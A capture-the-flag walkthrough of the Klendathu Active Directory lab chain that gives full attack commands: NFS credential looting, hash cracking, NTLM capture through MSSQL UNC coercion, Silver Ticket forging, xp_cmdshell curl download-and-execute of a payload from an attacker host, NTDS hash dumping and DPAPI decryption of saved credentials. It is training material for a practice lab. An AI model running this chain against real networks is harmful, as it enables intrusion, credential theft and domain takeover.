VL-Klendathu

Klendathu — VulnLab Chain / HTB Mini ProLab Writeup & Walkthrough

Introduction

Welcome to this writeup and walkthrough for Klendathu, a multi-machine Active Directory chain available on VulnLab (Chain) and Hack The Box (Mini ProLab). This is a fantastic lab for anyone looking to sharpen their Active Directory penetration testing skills, covering a wide range of attack techniques from initial access through full domain compromise. Whether you stumbled upon this writeup while preparing for the lab or are following along after getting stuck, I hope it helps you understand the methodology behind each step. Let’s get into it.


Environment Overview

The lab consists of three machines:

1
2
3
10.13.38.35  DC1.KLENDATHU.VL   — Domain Controller
10.13.38.36 SRV1.KLENDATHU.VL — Windows Server (MSSQL)
10.13.38.37 SRV2.KLENDATHU.VL — Linux Server (NFS)

Reconnaissance

Port Scanning

DC1 — Domain Controller

1
sudo nmap -Pn 10.13.38.35 -sC -sV -O -vvvv --max-retries 5 -p-

Standard domain controller ports are open: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), RDP (3389), and WinRM (5985). The RDP banner confirms the domain name as KLENDATHU.VL.

SRV1 — SQL Server

1
2
3
4
5
6
7
PORT      STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2022
3389/tcp open ms-wbt-server
5985/tcp open http

An MSSQL instance is running on port 1433. Notably, MSSQL also appears on port 1 — likely a scan artefact, so it can be ignored.

SRV2 — Linux Server

1
2
3
4
5
PORT      STATE SERVICE
22/tcp open ssh OpenSSH 8.7
111/tcp open rpcbind
2049/tcp open nfs_acl
20048/tcp open mountd

An NFS share is exposed with no authentication required — this is our entry point.


Initial Access — NFS Share

Listing and mounting the open NFS share:

1
2
3
mkdir ~/nfs_mount
sudo mount -t nfs 10.13.38.37:/mnt/nfs_shares ~/nfs_mount
ls ~/nfs_mount

The share contains a single file:

1
Switch344_running-config.cfg

Inspecting the config file reveals two things of interest:

  1. A Type 5 (MD5) password hash, which we crack with Hashcat:
1
hashcat -m 500 hash3 /usr/share/wordlists/rockyou.txt

The hash cracks to: [REDACTED]

  1. A cleartext password also stored in the config: [REDACTED]

  2. VTY line credentials (also cleartext): [REDACTED]

  3. A username in the config: ZIM@KLENDATHU.VL

Testing the cracked credentials against the domain:

1
zim : [REDACTED]

Authentication succeeds.


Enumeration with Valid Credentials

SMB Shares

With valid credentials, we enumerate SMB shares on the domain controller. The HomeDirs share has READ/WRITE access — note this for later.

SMB Shares

LDAP Signing

We check the LDAP signing configuration:

1
netexec ldap 10.13.38.35 -u 'zim' -p '[REDACTED]' -M maq

Key findings:

  • LDAP signing is OFF
  • We can add up to 10 machine accounts to the domain (default MAQ)
  • ZIM can authenticate to the MSSQL instance on SRV1

BloodHound Collection

1
netexec ldap 10.13.38.35 -u 'zim' -p '[REDACTED]' --bloodhound --dns-server 10.13.38.35 -c ALL --dns-tcp

Reviewing the BloodHound output reveals a service account named svc_backup, with the description:

“Legacy account to sync data to users Home Directories”

This account is also a member of the Linux SSH group — useful information for later.

svc_backup BloodHound

Coercion Vulnerabilities

Running a coercion check reveals several vulnerabilities:

1
2
3
4
5
COERCE_PLUS 10.13.38.35  DC1   VULNERABLE, DFSCoerce
COERCE_PLUS 10.13.38.36 SRV1 VULNERABLE, PetitPotam
COERCE_PLUS 10.13.38.35 DC1 VULNERABLE, PetitPotam
COERCE_PLUS 10.13.38.36 SRV1 VULNERABLE, MSEven
COERCE_PLUS 10.13.38.35 DC1 VULNERABLE, MSEven

Note: SMB signing is ON, but LDAP signing is OFF, so NTLM relay to LDAP is viable.


MSSQL — Hash Capture via UNC Path

Connecting to the MSSQL instance as ZIM:

1
mssqlclient.py KLENDATHU.VL/'zim':'[REDACTED]'@10.13.38.36 -windows-auth

ZIM connects as a guest. There are no linked servers of note. However, we can abuse the sys.dm_os_file_exists function to force an outbound authentication to our listener:

1
SELECT * FROM sys.dm_os_file_exists('\\10.10.14.94\work\')

With Responder running, we capture an NTLMv2 hash for the user RASCZAK:

1
RASCZAK::[REDACTED HASH]

Cracking the hash:

1
RASCZAK : [REDACTED]

Privilege Escalation — ForceChangePassword

Reviewing RASCZAK’s BloodHound privileges reveals ForceChangePassword over two domain users: RICO and IBANEZ.

ForceChangePassword

We reset their passwords:

1
2
bloodyAD -d KLENDATHU.VL -u 'RASCZAK' -p '[REDACTED]' --host 10.13.38.35 set password RICO 'Password123!'
bloodyAD -d KLENDATHU.VL -u 'RASCZAK' -p '[REDACTED]' --host 10.13.38.35 set password IBANEZ 'Password123!'

Neither RICO nor IBANEZ have any significant privileges directly, but we already have what we need: we know the MSSQL service on SRV1 is running under the RASCZAK account.


Silver Ticket Attack — MSSQL Admin Access

Since we have RASCZAK’s NT hash (recovered via hash capture and cracking) and know the MSSQL service runs under his account, we can forge a Silver Ticket to impersonate the domain Administrator against the SQL service.

First, get the domain SID:

1
netexec ldap 10.13.38.35 -u 'RICO' -p 'Password123!' --get-sid

Forge the Silver Ticket:

1
ticketer.py -spn 'MSSQL/SRV1.KLENDATHU.VL' -domain-sid [REDACTED] -domain KLENDATHU.VL -user-id 500 -nthash [REDACTED] administrator

Connect using the forged ticket:

1
mssqlclient.py -windows-auth -k -no-pass KLENDATHU.VL/administrator@SRV1.KLENDATHU.VL

We now have Administrator-level access to the MSSQL instance.

MSSQL Admin


Code Execution on SRV1

With admin access to MSSQL, we enable xp_cmdshell:

1
enable_xp_cmdshell

Impersonation

We download and execute our payload:

1
2
xp_cmdshell curl http://10.10.14.94:8085/Word.exe -o C:\temp\Word.exe
xp_cmdshell C:\temp\Word.exe

From there, privilege escalation to SYSTEM is straightforward.

Getting SYSTEM

We dump the local SAM hive and recover credentials. Flag 1 is captured here.

Flag 1


Lateral Movement to Linux — Kerberos SSH

Path 1 — Machine Account Creation (Used)

Using RASCZAK’s credentials, we add a machine account to the domain and use it to authenticate to SRV2 via Kerberos SSH:

1
2
bloodyAD --host DC1.KLENDATHU.VL -d KLENDATHU.VL -u 'RASCZAK' -p '[REDACTED]' add computer 'root' 'HelloWorld123!'
getTGT.py 'KLENDATHU.VL'/'root':'HelloWorld123!'

Path 2 — UPN Spoofing (Alternative)

An alternative approach abuses the userPrincipalName attribute to impersonate another user:

1
2
3
bloodyAD --host DC1.KLENDATHU.VL -d KLENDATHU.VL -u 'RASCZAK' -p '[REDACTED]' set object 'IBANEZ' userPrincipalName -v 'FLORES'
getTGT.py 'KLENDATHU.VL'/'FLORES':'HelloWorld123!' -principal NT_ENTERPRISE
ssh -K flores@klendathu.vl@10.13.38.37

Kerberos Configuration

For either path, ensure your local configuration is correct.

/etc/hosts:

1
2
3
10.13.38.35 dc1.klendathu.vl dc1 DC01
10.13.38.36 srv1.klendathu.vl srv1
10.13.38.37 srv2.klendathu.vl srv2

/etc/krb5.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[libdefaults]
default_realm = KLENDATHU.VL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
forwardable = true
ticket_lifetime = 24h
renew_lifetime = 7d

[realms]
KLENDATHU.VL = {
kdc = dc1.klendathu.vl
admin_server = dc1.klendathu.vl
default_domain = klendathu.vl
}

[domain_realm]
.klendathu.vl = KLENDATHU.VL
klendathu.vl = KLENDATHU.VL

Flag 2 is captured on SRV2.

Flag 2 — Linux


Domain Compromise — NTDS Backup

Once on SRV2 as root, we find a full domain controller backup stored on the server:

1
/root/inc5543_domaincontroller_backup/

We copy the relevant files to our attack machine:

1
2
3
scp -o GSSAPIAuthentication=yes root@srv2.klendathu.vl:/root/inc5543_domaincontroller_backup/registry/SYSTEM .
scp -o GSSAPIAuthentication=yes \
root@srv2.klendathu.vl:"/root/inc5543_domaincontroller_backup/Active Directory/ntds.dit" .

Dumping all domain hashes:

1
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

All Hashes

All domain hashes are recovered, including krbtgt and Administrator.


DPAPI Decryption — RDG File

On SRV2, there is also a cached Kerberos ticket for svc_backup in /tmp:

1
2
cat b64 | base64 -d > tb.ccache
export KRB5CCNAME=tb.ccache
1
2
3
4
5
Ticket cache: FILE:tb.ccache
Default principal: svc_backup@KLENDATHU.VL

Valid starting Expires Service principal
14/03/2026 02:00:03 14/03/2026 12:00:03 krbtgt/KLENDATHU.VL@KLENDATHU.VL

Using svc_backup‘s ticket, we access the HomeDirs SMB share:

1
smbclient.py -k KLENDATHU.VL/svc_backup@DC1.KLENDATHU.VL -no-pass

The share contains:

1
2
AppData_Roaming_Backup.zip
jenkins.rdg

The .rdg file is a Remote Desktop Connection Manager credentials file, protected with DPAPI. To decrypt it, we need the DPAPI master key, which can be extracted from the NTDS backup.

Using DSInternals to extract the boot key and then the DPAPI backup key:

1
2
3
Import-Module DSInternals
Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBBackupKey -DatabasePath .\ntds.dit -BootKey [REDACTED] | Save-DPAPIBlob -DirectoryPath .\

Decrypting the RDG file:

1
python3 rdgdec.py --masterkey="Roaming/Microsoft/Protect/[REDACTED]" -k work.pvk --sid='[REDACTED]' jenkins.rdg

The decrypted file reveals:

1
2
3
4
[+] Profile:  KLENDATHU\administrator
Username: administrator
Domain: KLENDATHU
Password: [REDACTED]

Domain Administrator Access

With the recovered Administrator password, we authenticate to the domain controller:

1
evil-winrm -i DC01 -u 'Administrator' -p '[REDACTED]'

Flag 3 (Root flag) is captured.

Root Flag


Summary

Step Technique
Initial Access Unauthenticated NFS mount → credential recovery from Cisco config
Credential Cracking Hashcat MD5 (Type 5) hash
Enumeration BloodHound, NetExec, SMB share enumeration
Hash Capture MSSQL UNC path coercion via sys.dm_os_file_exists
Privilege Escalation Silver Ticket against MSSQL service
Code Execution xp_cmdshell → SYSTEM
Lateral Movement Kerberos SSH via machine account creation
Domain Compromise NTDS backup → secretsdump
Credential Recovery DPAPI backup key decryption of RDG file

Thanks for reading! If this walkthrough helped you, feel free to share it. Good luck in the lab.